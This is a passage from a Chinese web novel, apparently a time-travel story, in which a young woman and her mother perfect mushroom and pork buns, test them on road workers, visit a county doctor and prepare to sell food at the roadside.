揉好后便放在一旁醒发，面引子昨天加了两次面粉，希望酵母菌活力好点，不然醒发六七个小时都不够。
接下来是馅料，昨日摘的菇子已经洗净晾干了水分，李姝拿了一半出来切成丁，又加了一点木耳丁增加口感。
锅中热油撒蒜末，爆香后将杂菇丁倒入锅中快速翻炒，有些菇子炒久了会出水，李姝怕水分太多不好包，便用大火翻炒，快熟时加入木耳丁再次翻炒一会，加入盐和酱油，炒出酱香味后撒入葱花，便可出锅，全程估计还不到两分钟。
野生的菌菇味道鲜甜，过油爆炒后又带着酱香味，每一粒碎丁都泛着油光，吃起来外皮有点过油后的干焦感但整体口感脆滑，还会爆汁，越嚼越香。
张翠花看着这一碗馅料出锅，迫不及待地拿勺子舀了一勺，焦香鲜美，感觉比肉都好吃。
“姝儿，用这馅料包包子，我们卖多少钱一个？”
李姝暗暗笑了笑，一边刷锅一边不经意的问：“娘您觉得呢？”
“这馅料比县里陈记的肉包子馅料还好吃，况且这菇子虽是从山上摘的，但也就春夏能摘，量也不多，可不能比陈记的肉包子便宜。”说着说着，张翠花更觉得这包子像金子一样，越发坚定了要卖高一点价钱才好。
县里肉包两文钱一个，比它贵的话，恐怕那些工人不会买账，不过娘有一点说得对，菇子数量确实不多，价格高点也正常。
“咱先自己吃，还不一定有人买呢。”
面团还在发酵，母女俩便着手做韭菜鸡蛋馅饼，张翠花做了一次，已经熟悉了，两人很快便做了十个馅饼出来，但这次馅饼有大有小，因为馅料和面的量没有掌握好。
若是往后要摆摊，肯定要严格把控量才行，免得有些食客买到小的觉得吃亏了，届时处理会麻烦很多。
李姝便跟她娘商量，往后要用专门的碗舀面，多少碗面多少碗水都要定量，剂子也得分均匀，馅料用专门的勺子挖，保证每次都一样。
面团发了一个半时辰，李姝打开粗布检查，幸好，面发起来了，看着密密麻麻的蜂窝孔，李姝松了一口气，这一步总算是成了。
张翠花没有做过包子，桃李村和张家村都没有会做包子的人家，便是整个平山县估计也少，因此陈记包子才会这么出名。
“姝儿，这包子是这么做的吗？娘怎么看着黏糊糊的，不像馅饼的面团能包馅料的模样。”
李姝装作懊恼的模样眉头微蹙，“我也不知，怕不是要浪费了。”只是在张翠花看不见的地方，李姝眼睛里却光华流转，透露出些许的高兴。
接下来是打碱，若是碱的量掌握好了，肯定可以成。
“不会，不会，自家人吃，便是做不好也能吃下顶饱，你爹不会嫌弃的。”生怕女儿受挫折不开心，张翠花连忙回应。
李姝偷偷笑了，“那若是做不好，都给爹吃。”
张翠花也笑了，“你这丫头，如今鬼灵精的，娘还怕你做不好哭鼻子，谁知你是想着祸害你爹。”
“那娘吃吗？”李姝转头看向她娘，笑得眉眼弯弯，眼里带着一抹狡黠。
“不吃，都给你爹，咱娘俩吃馅饼。”
“噗嗤。”母女俩相似的眉眼弯起相同的角度，悄悄地达成了一致的意见。
灰水的碱含量很高，李姝不敢加太多，每一份量差大约是小半勺，因为面团偏软，实在不好揉，打碱时李姝只拿了木铲子一点一点刮，刮了约莫半盏茶时间，便在案板上撒干面粉防粘。
揉成团后开始切长条分剂子，张翠花在一旁早想上手，看要开始包了，便二话不说拿了馅料就要包。
“娘，您手上沾点面粉。”
来不及了，她娘手上的剂子已经沾上了。
...昨晚娘亲那细腻的心思是错觉吗？
张翠花满不在乎地拿着手中的面团在装面的碗中滚了一圈，不沾手了。
...行吧。
“姝儿你这面剂子太小了，这馅料包不了多少。”张翠花拿着自己包好的包子皱眉，菌菇丁放多了容易掉，她减了又减，最终包进去的馅料只有几粒碎丁。
“娘，这个面团比较软，您可以捏着边缘将面扯过来，像我这样。”李姝拿着压好的包子皮给她娘示范，上手才发现，自己扯的也不怎么样...
“你这还不如我呢。”张翠花毫不留情嘲笑女儿，不过好歹她也看懂了，包了几个后便熟练了许多。
李姝......
最终包了二十个，有大有小，有丑有...丑。
后面菌菇丁不够了，还临时拿了一棵酸菜出来炒干了水分做馅料。
母女俩焦急地等着最后的成果，眼巴巴的盯着锅中的包子，这里没有日晷没有滴漏，李姝每次要算时间便开始心里数秒，至于时辰，都是问她娘的，看太阳便知道大约时辰，李姝还没有这个能力。
大约过了十五分钟，终于第一锅包子好了，打开后一股很香的味道扑面而来，这一锅是碱最少的
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，所以碱的量对了？
包熟练后，后面的包子裹的馅料很多，包子皮就薄了，于是蒸出来后有些包子透油，但是看着更诱人，菌菇的味道掺杂着面香，母女两人迫不及待拿了包子吃起来。
包子皮并不是蓬松暄软的口感，相反有点韧劲，是小笼包的口感，关键是不酸，成功了！
张翠花咬了一口，嘴里有汤汁爆出来，蒸过的菌菇丁馅料裹满了汤汁，比刚炒好时还鲜甜，透着油的包子皮也浸满了菌菇的味道，吃完一个包子她才发现包子皮没有她想象中的酸味。
“姝儿，这包子太好吃了，你刚揉面时那面团不是酸的吗，怎地如今吃却没有酸味了？”说着说着，张翠花后知后觉地反应过来，姝儿怎么会做包子？谁教她的？
“可能是加了灰水的缘故，我想着用灰水煲粽子时糯米更香更糯，便想着做包子时加灰水会不会更好吃，就加了点试试。”
张翠花更关心的是自家女儿怎么会做包子，“姝儿，你是怎么学会做包子的？”
明明家里没人会做，连村子里都没人会，看今天做包子这些步骤，姝儿就算是以前吃过县里的包子，也不可能光吃了就做得出来的。
灶台里的火还在烧，锅里的水咕噜咕噜滚着，水蒸气弥漫了整个厨房，李姝拿着半个包子站在母亲身旁，觉得自己现在就像刚刚还在蒸的那笼包子，心里胀地快破皮了。
应该怎么说？
李姝想到了昨晚，于是下定了决心。
“娘，我也不知道，我想做的时候便脑子里便有了步骤，以前我是不是很爱琢磨吃食？”李姝装作闲聊一般回着母亲，可拿着包子的手还是一动未动。
张翠花回想起女儿以前的事，从前姝儿很喜欢吃糖糕，无论哪家做了糖糕拿给她，她都笑呵呵地说好吃，除此之外她从未跟自己说过喜欢吃什么。
想到了女儿的乖巧，张翠花心里一酸，怕不是女儿觉得家里穷，就算是馋了也不敢和自己说，只能自己瞎琢磨用来解馋？
其实李姝说的话是经不起推敲的，她的失忆也一样经不起细想，可父母还是信了，他们并非蠢笨，而是因为他们是家人，家人说话是不用推敲不用分析不用讲理的。
于是李姝这次也在赌，她赌母亲会跟之前一样，自己给个口子便将自己的话圆了。至于自己以前是不是爱琢磨，又有什么关系呢。
“姝儿，娘的乖女儿，爹娘让你受苦了。”张翠花心疼地摸了摸女儿的头，她的女儿这么乖，真是上天送给自己的礼物。
“娘，您说什么呢。”李姝害羞地扭捏了一会，看着她娘的双眼明亮又有神，仿佛在说，我一点也不苦。
张翠花欣慰又心酸，可她不想在女儿面前掉眼泪，便收起了情绪，“没什么，我的女儿真真是这十里八村最聪慧的，自己琢磨着也能做出这么好吃的吃食。”
“娘，您不害臊我都害臊了，咱赶快蒸下一笼吧。”
“好。”张翠花将第一笼的包子拿出来，开始装第二笼包子。
而李姝，终于拿起那已凉了的半个包子吃了起来，心里美滋滋的，凉了也好吃。
9. 第 9 章
果然，后面的两笼包子都有不同程度的发黄，幸好量差不大，碱味不算太浓。
张翠花则一脸紧张，这是没做成？
包子虽有点发黄，但口感尚可，特别是酸菜馅料，能将碱味掩盖，比李姝之前担忧的好很多。
看女儿尝了之后就没再说话，张翠花顺手拿了一个掰开，是酸菜馅的，吃进口里满嘴的酸菜味道，但包子皮似乎有点怪味。
“姝儿，这是做成了还是没做成？娘尝着味道差不多，就是发黄的包子多了点怪味。”
“算是成了，下回我试着少放点灰水。”
第一次就成功了，是李姝没想到的，母女两人兴奋地吃了饭便出发去给李忠送饭。
桃李村村口有座虎儿山，因山形似一只蹲坐的老虎而命名，相传是仙人坐骑在此守护桃李村。
实际上这是一条山脉，山脉蜿蜒曲折，平山县只是此山脉盘旋的其中一个县城，从城北门出来绕着景石村，沿着山脉往南走一直到大河村皆属宴石镇。
而桃李村便是在景石村的南侧，再往南便是张家村、上坪村、下坪村，这几个村便是此次修路的村子，剩下的村子可往南走从城南进城，这也是宴石镇其他村子没有修路的原因，往南走的路本就宽敞通畅。
如今修路的工人都在张家村与景石村之间的路上，一路往南修到下坪村。
走了快一个时辰，两人才到，这一路，李姝感觉自己像是火炉里被炼的丹药，到一定时辰就能被炼化了，桃李村那传说中的仙人是炼丹的吧...
李姝心里哀嚎了一路，往后要卖吃食，每天都要走至少两个时辰。
走到路边一棵树下，李姝扶着树干便开始汗如雨下，打颤的双腿像是要把树叶晃下来...
李姝默默擦了擦汗，顺手拿起腰间的腰带便开始扇风。
不一会儿，一阵风吹来，终于将这封闭的火炉撕开了一道口子，李姝舒服地眯起眼睛，腿终于不抖了。秋风飘过时悄悄吹起了她的裙摆，像是在与飘落的秋叶起舞。
李姝并未在意，此时的她只有一个想法，赚钱第一个目标：一定要有一辆马车！实在不够钱的话...
牛车，骡车也一样！
不远处，张翠花拿着吃食找到了李忠，干活时尘土漫天，李忠浑身沾满了黄土，看自家婆娘找过来，露出了唯一白皙的牙齿。
张翠花沉默地递了水过去，示意李忠洗手，再将手中的包子和馅饼放在他脚边，眼睛却早已上下仔细地检查了李忠的身体，看他是否受伤。
周围坐着几个汉子，正吃着早上从家里带的冷食，戏谑地看过来，“李忠兄弟，好福气啊，你家婆娘这么贴心。”
李忠憨笑不语，低头接过了自家婆娘递过来的一个馅饼。
张翠花抬头看了眼，便有了底，满脸笑意道：“我家这是个憨的，麻烦各位多多帮着看顾点，下回修到桃李村，我给大家打水送过来。”
“没问题，婶子，我第一个应的，你可得记住了，下回给我打的水要多多的。”一个眉眼周正的小伙子大声应和着，声音响亮又干脆。
只是在人不注意时，小伙子王涛侧头悄悄看了看不远处的李姝。
那姑娘跟着婶子一块来的，刚走过来时他便注意到了，她穿着浅粉对襟短衫搭浅绿百褶裙，腰间颜色深红的腰带被她拿起来闲散地扇着风。
王涛其实看不清那姑娘的长相，可树下少女随意又自在的模样却一下吸引了他，微风扬起时，姑娘微微晃动的裙摆似是春日里岸边下垂的柳条。
他小时跟着父亲为富贵人家清扫湖面落叶时，柳条也是这样被风吹过在湖面上微微摆动，那时他总喜欢摘一段柳枝拍打湖面，可从来不知道，柳条划过湖面时，竟是这样痒的吗？
他不敢多看，只不时地悄悄看一眼，在姑娘转头看过来时，他猝不及防，干巴巴的糖糕呛得他咳红了脸颊。
周围的汉子哈哈哈哈大笑，纷纷调侃，“你小子，让你抢话，老天爷都看不过眼了哈哈哈。”
“嫂子，还有我，我今天可是帮忠哥搬了个大石头！”一个汉子浑厚的声音响起，听声音便能想象到他壮硕的身材，力气活应是一把好手。
“妹子，还有我！”
“还有我！”
......
“行，我记下了，等路修到我们桃李村，就算双腿打摆子我也给各位送过来。”
“好！可得说好了，哈哈哈哈！”
他们这么热情并非是官府不给水喝，而是不够喝，本就是体力活，天气又热，每人身上的汗水都浸透了衣服，只一个上午，若不是监头看着，水都要喝光了。
李姝转头看了眼热闹的爹娘那边，看她娘在她爹耳边低声说着什么，知道她娘没忘她的嘱托。
张翠花传达着女儿的话，她不懂为何要这样，但既然女儿说了能赚钱，便二话不说就应了。
李忠听了后，懂了女儿的用意，都说儿子肖母，女儿像父，他们家的儿女，依自己看，更像他们祖父，都是聪慧又踏实，从不显摆。
张翠花跟李忠说了会儿话便走了，还要带女儿去县里看大夫，再耽搁下去怕是要走夜路回家了。
“姝儿，咱去县里，不回去。”李姝本想往回走，却被她娘拦住了。
“不是说要去看清芸姐吗？”怎么又不去了。
“昨天是娘想岔了，清芸刚回来，定是不愿见人的，先让她休息一段时间，左右她这段时间都在。”
伤得很重吗？看她娘不愿多说，李姝没再问，只乖巧地应了声：“好。”
两人往县城方向走了，李姝心里开始了新一轮的哀嚎。
而李忠，拿了篮子里的菌菇包咬了一口，本是能一口吃掉的，却要咬开一半，让馅料露出来，还特意侧头让周围的汉子看到自己在吃什么。
刚在吃馅饼时周围人就已好奇了，这馅饼他们在陈记包子铺见过，也有些人吃过，可从未见过素馅的，况且这饼子是李忠婆娘自个带过来的，像是自家做的吃食。
馅饼皮薄馅足，韭菜的香味早已飘散在周围，看李忠吃的狼吞虎咽，手中像是还沾了汤汁，他们纷纷被勾起了食欲，只刚才碍着张翠花在，不好意思索要。
如今看着像是更好吃的包子，他们再也忍不住了。
“李忠兄弟，你家婆娘手艺好吗？”边说还不自觉地咽了咽口水，那人不好意思地笑了笑，可也没人笑话他，大家都被李忠的吃食吸引了。
李忠也没想到，这菌菇包味道这么好，包子皮没有酸味还很有韧性，菌菇馅更是外焦里嫩，越吃越香，汤汁大都浸透了包子皮，若是刚出锅时吃上，李忠可以想到，口中定是会有汤汁爆出来，鲜香味美。
女儿本是让自己吃相夸张点，李忠还忐忑不安，如今终是放下心了，馅饼自是不必说，包子味道更好，李忠有信心，自己不用再演，只要他们吃了，定是赞不绝口。
“我家婆娘手艺自是好的，不过这是我女儿帮着一起做的，小姑娘嘴馋，平日里总是自己琢磨些吃食，我们两口子本是当她小孩子爱玩，谁知还真让她琢磨出来了。”李忠边说边把篮子里的馅饼一分为二，分给周围的汉子。
“各位尝尝？我女儿还嚷嚷着说要拿出来卖，我和婆娘都没让呢，自家吃的小玩意，哪有人会买？”
汉子们一听，是小姑娘琢磨的吃食，馋虫便都收回了，只是怎么说也是热食，好过自己手中的冷食，于是都接了过来纷纷道谢。
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刚说话的壮硕汉子性子较急，二话不说就往嘴里塞，尝过后定了一会儿，眼睛微微睁大，有点意外，这饼子，味道挺不错的！
“李忠兄弟，你女儿倒是没说错，这饼子确实可以拿出来卖了，若是拿到这来，我定要每天吃两个。”
这时周围的其他人也纷纷吃了起来，饼皮虽薄却柔软有劲道，馅料很足，一口下去，韭菜的鲜甜便充斥着口腔，这馅料里还有汁水，确实好吃！
“确实好吃，李忠兄弟，你有福气啊，若是拿来卖，我也是愿意买的。”不要钱的饼子都吃了，不要钱的夸赞也得跟上。
“这饼子比陈记的还好吃。”众人侧目，王涛拿着只咬了一口的饼有些心虚地低头，听到是人家女儿做的，他便舍不得吃那么快，只是，也不知道陈记的饼不好吃，还是陈记的人不好看。
有年长的汉子已经看出来了，悄悄对了对眼神，有着不同其他人的默契。
只是也有那不懂的，比如那壮硕的汉子，“陈记的是肉馅，这是素馅的，你小子不喜欢吃肉下次我告诉你娘让她给你吃素宴。”
“哈哈哈哈哈...”
李忠不动声色地看着其他人的反应，大多数人都是真心夸赞的，只是说要买的人只有一半，更别说在其他树下休息的人，他们并未吃过，但他有信心，姝儿的定价不贵，还是会有人买的。
“李忠兄弟，你这包子我看你吃了好几个，能否也让我尝一个？”
这位壮硕的汉子平时怕是个吃货，白吃了半个饼子，还能上赶着讨包子。
众人...他们怎么没想到再讨一个！？王涛甚至悄悄瞪了一眼，只恨自己开口晚了。看着李忠脚边篮子里没剩多少，他们也不好再开口，只纷纷盯着那汉子。
李忠拿了个小点的包子递过去，“这是她们娘俩上山采的菇子做的菌菇包子，平日里菇子都是摘了晒干拿去卖，见我干这苦力活，便拿来做了包子送过来。”
众人又是一顿夸赞，只是眼睛却死死盯着那个包子，想象着味道。
壮硕汉子无视周边各异的眼神，拿着包子便一口吃掉了，可这包子比刚才的饼子还好吃！包子皮吸满了汤汁，菌菇馅料鲜美无比，他有点不舍得吞咽，嚼了又嚼，尝了又尝，方才吃下肚子。
众人看他不说话，以为这包子不好吃，也不怪他们误会，他们看了一会儿，李忠拿出来的几个包子大小都不太一样，包子也不蓬松，包子皮像是连褶子都没捏，看着确实不像好吃食。
只是这透出来的汤汁...又像是不错的样子。
到底好不好吃？众人盯着壮硕汉子，不得到应答，他们连午睡都睡不好。
“李忠兄弟，你女儿的包子可以到县城卖了，陈记的鲜肉包子都没这么好吃。若是拿这包子过来卖，我定是要买来再尝尝的。”
“这，王蒙兄弟，你说的可是真的？我女儿这包子可到县里卖？”虽说对女儿做的吃食有信心，可李忠也从未想过到县里卖。
“自然。”王蒙本就是吃货，兜里但凡有点钱都要拿出来吃一顿，要不是家里婆娘管得紧，他都能将钱全花在吃食上。
众人见他答得认真，更是对那包子好奇了起来，可，看了李忠脚边已经空掉的篮子...
什么时候吃完的？这是怕他们抢了吗...
只好就着吃了半天都没吃完的冷食，一边想象一边馋。
东西是女儿做的，且女儿如今也是个有主意的人，李忠决定还是让女儿自己想，他回去将这些情况讲给她就是了。
“我回去便说给她听，我那丫头一准得高兴的哭鼻子。”
“哈哈哈哈哈。”
试探已结束，李姝没想到反应竟是不错。
10. 第 10 章
另一个没想到的，便是平山县并不是一个贫困县。
李姝跟着她娘又走了半个时辰，才走到城门口。
从城门外远远望过去，门市云集，鳞次栉比，街上来来往往都是人，不时还有巡逻的士兵经过，好不热闹。
进到城里，首先见到的便是一家茶馆，店内坐着好些歇脚的商旅，那些货物多的，便叫店家端了水出来给他们送到货车旁，给钱喝完便急匆匆走了。店内的茶客则是会来几碟子的茶点，天南海北的闲聊，直到歇够了才起身离开。
茶馆这一侧沿着街道往南走，有家武器铺子，还有家药铺，铺子与大路之间摆了好些糖水摊，木瓜饮、绿豆水、山药元子、皂儿水，大多都是些清凉解暑的饮品。
茶馆对面是家铁匠铺子，今日似是停业，旁边是家木工店铺，里面摆满了各色用具，再往南走还有几家饭馆。路边和对面一样，亦是摆了许多小摊子，大都是些吃食，有胡饼、糕点还有果脯等。
李姝还看到了一家客栈和几家成衣铺子，这北城门平日里除了周边的村民，更多的应是些商旅往来，街道两边的铺子多是些服务旅客的日常店铺。
但越往南走，便越来越繁华，胭脂水粉、绫罗绸缎、果脯点心、茶楼饭店、酒楼脚店应有尽有，大路四周穿插的坊巷里更是人来人往，络绎不绝，店铺和小摊贩的叫卖声此起彼伏，热闹不已。
本来以为是个贫困县，谁知竟如此繁华。李姝看得眼花缭乱，脚步不自觉地放慢了。
张翠花走着走着，转头发现女儿没跟上，这丫头，背着双手左右打量，步子迈得不紧不慢地，仿佛在逛园子。
“姝儿，赶快跟上来，下回娘再带你逛，这次咱先去看大夫。”
李姝快步跟上，挽着她娘的手，乖巧地笑了笑，“娘，去看大夫做什么？”
“自然是让大夫看看你的身子是否好了，还有你这不记事的情况，爹娘总得让大夫瞧瞧才放心。”
李姝知道早晚有这一趟，要想他们彻底放下，总得有人给个肯定答案。
张翠花拉着女儿到了固生堂，固生堂虽不是最好的医馆，可却是最适合平民百姓的，不仅诊费低，大夫还不会多开药，收药农的药材时价格也高些，是贫苦人家最愿意去的医馆。
医馆里站满了人，每个大夫都用隔间隔出一个诊室，诊室门前排满了人，若不是柜台边用矮屏风隔开，怕是人都要挤到柜台了。
柜台后放了三面药柜，抓药的四个药师不停地上下左右走动，像是陀螺似的转不停，柜台边上收钱的账房算盘珠子都快拨出火了，可见这固生堂的人气之高。
进门时有药童来问大致地病情，张翠花跟他说了后便领着她们到其中一个大夫的诊室门前排队，李姝大致数了数，有十几人，怪不得张翠花这么着急。
整个医馆里人虽多，却意外地不吵，柜台边不时地有声音传出，可排队的居然未见有人高声说话，只偶尔有几个人会低声细语。
李姝觉得奇怪，拉着她娘正想问。
其中一个隔间传出声音，“啊！大夫，大夫，轻点，轻点，痛！”
撕心裂肺地叫喊声响彻整个医馆，所有人都面有菜色，似是感受到了患者的疼痛，可这也并不能得到大夫的回答，只听“啪，咔嚓”一声，又是一声惨烈地“啊！”，不一会儿，无情地声音传出：“下一位。”
一位壮汉扶着胳膊出来，李姝看见他悄悄抹了抹眼眶，往柜台走了，下一位进去的人瘸着腿，李姝从他背影中看到了绝望...
再看看排队最长的便是这个大夫...固生堂最擅长的，是接骨吗...？
张翠花听了也是忍不住心里一抽，怕女儿害怕，正想拉着女儿说说话，转头却见自家女儿盯着那接骨的人看得眼珠子都不动一下。
...我就说女儿胆子大了！
排到李姝时，医馆已经基本没有患者了，算盘珠子总算是熄了火，药师们也不再转动，可医馆更安静了。
李姝伸出的手腕上搭着一只手，他已经搭了很久了，本觉得自己没什么问题的，可这迟迟不离开的手却让她开始紧张了起来。
张翠花也一脸紧张，李姝觉得她娘几次都想开口，见到大夫严肃的表情却又忍住了。
不知过了多久，大夫终于放开了手，“身体稍有瘀滞，外加气血不足，你方才说她记不得人和事？”
张翠花咽了咽口水，紧张地说：“是。”
张大夫转头看着李姝，眼里稍有疑惑，李姝知道自己瞒不过去，可又不能明说，只是用眼神回看着，露出了请求。
张大夫观察着母女俩，身着旧衣，母亲的衣摆处还沾着黄土，应是附近的村民，女儿乖巧温柔，眼神清亮，不像是不受宠的模样。
见那姑娘双眼略带请求似有隐情，张大夫隐了方才想说的话，只改口说：“无甚大碍，你女儿撞头后气血有亏，平日里多吃些肉，至于记不得人和事，恐是身体还有瘀滞未散，说不准什么时候便记起来了。”
看了李姝一眼，又顿了顿，张大夫加了一句：“就算是记不起来，于身体也无碍。”
李姝回了个感谢的眼神，便垂下目光不再多看。无论他想到了什么，至少他是答应了。
张翠花更紧张了，“这瘀滞未散，对我女儿往后可有影响？不会落下什么隐疾吧？”
看这母亲的担忧不似作假，也并未在记忆上过多关注，只问身体，张大夫放心了不少，“无需担忧，只要她往后好好休息，家里吃食上多给她补补肉，气血充足自是可自行散开，不会落下隐疾。”
“那就好那就好，感谢老天爷。”张翠花彻底放下了心。
...娘，您在大夫面前感谢谁？
张大夫并未计较，只摆了摆手说：“可以了，下一位。”
“大夫，您还没开药呢，我女儿这气血不足...”
张大夫无情打断：“无需吃药，出去吧，柜台处付诊金便可。”
母女俩皆放下了心中的顾虑。
出医馆时已是申时，回去怕是要酉时了，可张翠花还是拉着女儿走了一趟菜肉行。
菜肉行，顾名思义便是专
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门买卖菜和肉的地方，像是现代的菜市场，只是品类没有这么齐全，鸡鸭等家禽有专门的鸡鸭鹅行，鱼有专门的鱼行，虽都不远，但却麻烦了很多。
张翠花本想买羊肉，李姝硬是拉着买了猪五花，猪肉便宜很多，不知是不是这时代的人不爱吃，五花肉一斤才十文钱，比羊肉的一斤五十文便宜多了。
张翠花没拧过女儿，还是买了猪肉，猪肉除了过冬时做成腊肉，平日里也只有他们这些没钱的穷人家会买来吃了，可猪肉味道重，大多数人都不爱吃。
李姝再三保证自己会做，她娘才听了她的话买了一斤半。
两人回到家时已是酉初，李忠拿了张板凳坐在院门口，眼巴巴的等她们回来。
“怎么样了？大夫怎么说？”看两人回得这么晚，李忠以为女儿的身体出了问题，焦急得在门口便问了起来。
“大夫说没事，只让我们给姝儿多吃吃肉，补气血。”张翠花边说边和李忠走进院子，不一会儿便传出张翠花絮絮叨叨地说着今日的事。
李姝站在院门外，一脸无奈，方才她说了一句：“我去地里摘点苦瓜。”像是被这渐黑的夜吞没了，无人在意。
不，是被狗吞了，单身狗！
晚饭是一家人一起做的，李姝将买回来的五花肉一分为二，一半拿到外面的井里，挂在井壁上保存，一半去皮交给她爹剁肉馅，还泡了几朵晒干的菇子一起剁了。
李姝将苦瓜切成柱状，挖掉里面的苦瓜籽，放烧开的水里焯掉苦味，然后便放在一旁晾凉，开始给肉馅调味。
家里实在没有什么调料，最终只能加了盐、酱油和淀粉，用筷子搅拌均匀后分三次加了葱姜水，每次加入后顺着一个方向搅拌肉馅直至水被吸收，最后肉馅挂在筷子上不掉落，便是成了。
李姝将肉馅塞进切好的苦瓜里，和米饭一起上锅蒸了起来。
“姝儿，你这是做的什么？肉还能塞进苦瓜里蒸？”张翠花看着稀奇，忍不住开口问道。
“应是能的，今天去医馆的路上我瞧见有些食铺的菜牌子上写了苦瓜炒肉，便琢磨着将肉团成一团塞进苦瓜里试试。”
张翠花不认得字，但今天确实路过了许多食铺，“姝儿观察的仔细，娘都没注意到呢。”
李姝笑笑没答话。
李忠却是知道，自己女儿做这菜定是有把握的。就像今天的包子一样，第一次做便做得这么好吃。
“姝儿，今日我按你说的观察过了，除了桃李村和景石村的工人有家人送吃食，其他大都是带的冷食，今天带的馅饼我也分了一些出去，我看大家都觉着好吃。”李忠满脸的骄傲，自家女儿可是被夸了好半天。
“真的？太好了！”有反馈说明至少宣传到位了。
“爹，包子呢？”
“包子我只分了一个人吃，那人说可以到县里卖了。”
评价这么高？
“姝儿，那我们明天就开始卖？”张翠花数钱的心又开始蠢蠢欲动。
“明天卖！”总是要试试才知道，光制定方案是没用的。
11. 第 11 章
晚饭李姝还用蒜末炒了一盘豆角，加上酿苦瓜和中午剩下的包子，吃得有点狼吞虎咽。
以前吃肉简单，她从来没觉得肉多么重要，可穿过来十几天，就吃了一回腊肉，李姝第一次觉得肉是这么好吃。
李忠今日干了一天的苦力活，还未收工就饿了，回来就喝了个水饱，到如今更是饿得前胸贴后背。
张翠花一脸笑意地看着父女俩的吃相，这俩人，饿鬼进食一样。
“姝儿，这苦瓜塞肉真好吃，尤其这汤汁，甜滋滋地还带了点苦味，拌着饭吃都不用就菜了。”李忠将最后一点汤汁边倒入碗中边说，娘俩已经吃饱了，他把剩下的饭菜都收进了肚子。
李姝摸着肚子笑了笑，眉眼上挑，有些得意，这是现代时自己最常做的一道菜，肉馅怎么调，苦瓜蒸多久这些早已熟练，至少...比包包子熟练...
“那我下回还做给爹娘吃。”心里有多得意，说出的话就有多乖巧，李姝都有点怀疑自己以前是不是有演戏天分，只是被埋没了...
“县里的吃食果然好，往日我们都没想到苦瓜还能和猪肉混一块炒，姝儿，下回能不能跟那食铺一般，做成苦瓜炒肉？”张翠花咂摸着嘴，回味着今晚的味道，她就是觉得县里那食铺出这一道菜，定是因为那样做更好吃。
娘，你信我，酿苦瓜比苦瓜炒肉好吃多了。
“好。”我这嘴...李姝想抽自己一巴掌，好像有点改不过来了。
李忠吃下最后一口饭，起身拿着碗筷去井边洗了，夜晚天气凉，里面的娘俩，他哪个都不舍得让她们着凉。
第二天李姝将井里的五花肉拿出来，让她娘去皮后帮忙剁碎。
“姝儿，不是要做包子吗？这肉等我们回来再剁也不迟。”张翠花拎着肉进了厨房，嘴上虽这么说，手却已开始拿起菜刀。
“娘，咱做肉包子去卖，菌菇馅的包子我打算卖三文钱一个，我怕买的人少，况且菇子也不多了。”昨天李姝就想好了，山上的菇子不是时时都有的，往后可能就应季时卖，价格还是高点好。
“成，听姝儿的。”
李姝拿着刚拔的葱进来，家里没有大葱，只能用小葱代替了，“娘，肉剁好后将葱白也一块切碎了剁匀。”
看着女儿熟练的模样，张翠花忍不住问：“好，姝儿，这肉馅的包子你也琢磨过？”她从来不知道，自己的女儿往日原来这么馋，却一次也没跟家里说过。
李姝拿着碗开始舀面，就着昨日留下的面引子和了起来，“没有，我想着这肉包子跟昨晚的苦瓜塞肉一样，不都是做成肉馅塞进去吗，应是差不多。”
对于忽悠母亲，李姝已经驾轻就熟，不经意间的回复更真实。
果然，张翠花没再说什么，也不担心做不成，而是满脸骄傲，女儿这厨艺往后也能让她找婆家时比其他人更容易，谁家娶个灶台活好的婆娘都会美滋滋，毕竟是很有面子的事。
因为第一天卖，李姝也不确定会有多少人愿意花钱，所以今天的主力还是韭菜鸡蛋馅饼，一共做了五十个馅饼，至于包子，则只做了十个菌菇包和十五个鲜肉包，这里还包括了给李忠带的午饭。
娘俩早早吃了饭，提着篮子便出发了，篮子两人一起提，张翠花还提了一坛子水，李忠昨晚闲聊时提了一嘴水不够喝，她便记下了。
又是一个多时辰，这回还拿着更重的东西，李姝腿抖得差点跪地，更下定了决心，往后一定要有车！
两人来得比昨日早，工人们还未休息，于是两人便找了个树荫坐下，干活时黄土漫天，大家身上都一个样，母女俩找了半天也没看到李忠。
王涛在搬着刚挖的大石头，今日倒霉，他们这几个挖的地石头很多，他来来回回搬了好几次，手上的茧怕是又厚了几分，正将石头放下起身时，抬头便看到了李姝。
今日她穿了棕红色的交领衫搭浅绿色褶裙，坐在树荫下乘凉，想是等得无聊了，她拿着一片叶子含在嘴唇，脸颊鼓鼓地像是在吹气，半晌后又撇撇嘴扔掉了。
王涛站在原地一动不动，身边的张蒙以为他累糊涂了，一巴掌拍了他肩膀上，愣是让他往前扑了一大步，王涛下意识抬眼看向远处，李姝似乎笑了，他甚至都觉得自己听到了她的笑声。
再看到自己的傻样，王涛脸色瞬间红透了，慌慌张张地站好，双手一会儿放在身后一会儿放在身侧，抬头偷偷往那边看了一眼，心里止不住地狂跳，“她刚刚...看到了吗？”
张蒙...这小子魔怔了吗？
“你这是做什么呢？撞鬼了？”
看李姝并没有看过来，王涛紧张中又带了失落，喃喃地回：“没事。”一时竟不知是回答身后的人还是在安慰自己。
忍了忍，王涛还是没憋住，“蒙叔，你别老拍我，方才我差点摔了。”
张蒙...忍不了了！
上脚就踹，“你在那站着傻不愣登地，我怕你撞邪了才拍了你，还怪起我来了？回头我让你娘好好治治你。”
王涛躲了躲，没躲开，噌的一下就跑了。
周围看戏看了半天的人终于哈哈大笑，相熟的张庆春揽着张蒙的肩贱兮兮地说：“那小子不是撞邪了，是撞鹿了。”
“哪来的鹿？咱们大家伙一起抓了烤正好！”
...这个莽头莽脑一肚子吃食的粗汉，到底是怎么找到那么好看的婆娘的？
张庆春没好气道：“撞进他肚子了。”
张蒙摸不着头脑，怎地说着说着就生气了？
李姝注意到了不远处的热闹，只是一群男人站在那，她也不好盯着看，况且人人都满脸尘土，黑黄黑黄地，也没什么好看的。
等了约莫一刻钟，工人们终于开始休息了，所有人都原地放下了工具，开始三三俩俩的找地休息。
怎么办？要开始喊了，李姝自己倒是没有什么心理负担，可按原身的性格，她这会儿要是喊一声：“瞧一瞧看一看，韭菜馅饼一文钱一个，便宜好吃味道正，走过路过莫错过。”估计不止她娘，连这些修路的大哥都会惊掉下巴。
张翠花动了动嘴唇，到嘴边的话愣是压了又压都没说出来，李姝在旁边看得着急，早知道拿个牌子挂一边了。
幸好，有一个高大的汉子过来打破了困境，他本是好奇这两人拿着什么，就装作路过顺道看一眼，只这一眼，便对上了一道清澈的眼神。
李姝见他终于往这看了一眼，立马抓住机会开口，温温柔柔地问：“大哥，买个饼吗？一文钱一个。”
汉子视线往下，篮子的粗布已经被拿开了，他看到了塞得满满当当地馅饼，还有包子，个头都挺大，一文钱挺值的。
汉子有
